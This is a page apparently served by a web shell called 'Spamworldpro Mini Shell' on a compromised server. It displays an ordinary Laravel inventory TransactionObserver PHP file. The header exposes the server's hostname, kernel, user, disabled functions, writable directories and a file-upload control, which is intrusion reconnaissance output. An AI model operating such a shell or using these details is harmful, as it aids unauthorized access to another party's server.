Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/inventory.corals.io/Corals/modules/Inventory/Observers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/inventory.corals.io/Corals/modules/Inventory/Observers/TransactionObserver.php
<?php

namespace Corals\Modules\Inventory\Observers;

use Corals\Modules\Inventory\Classes\Scopes\InventoryItemScope;
use Corals\Modules\Inventory\Models\InventoryItem;
use Corals\Modules\Inventory\Models\Transaction;

class TransactionObserver
{

    /**
     * @param Transaction $transaction
     */
    public function created(Transaction $transaction)
    {
        $this->handleTransactionCreateUpdate($transaction);
    }

    public function updated(Transaction $transaction)
    {
        $this->handleTransactionCreateUpdate($transaction);
    }

    public function deleted(Transaction $transaction)
    {
        $this->handleTransactionCreateUpdate($transaction);
    }


    protected function handleTransactionCreateUpdate(Transaction $transaction)
    {
        $inTotal = Transaction::inDirection();

        (new InventoryItemScope())->apply($inTotal, $transaction->inventory_id, $transaction->item_id);

        $inTotal = $inTotal->sum('quantity');

        $outTotal = Transaction::outDirection();

        (new InventoryItemScope())->apply($outTotal, $transaction->inventory_id, $transaction->item_id);

        $outTotal = $outTotal->sum('quantity');

        $result = $inTotal - $outTotal;

        $query = InventoryItem::query();

        (new InventoryItemScope())->apply($query, $transaction->inventory_id, $transaction->item_id);

        $query->update(['inventory_value' => $result]);
    }
}

Spamworldpro Mini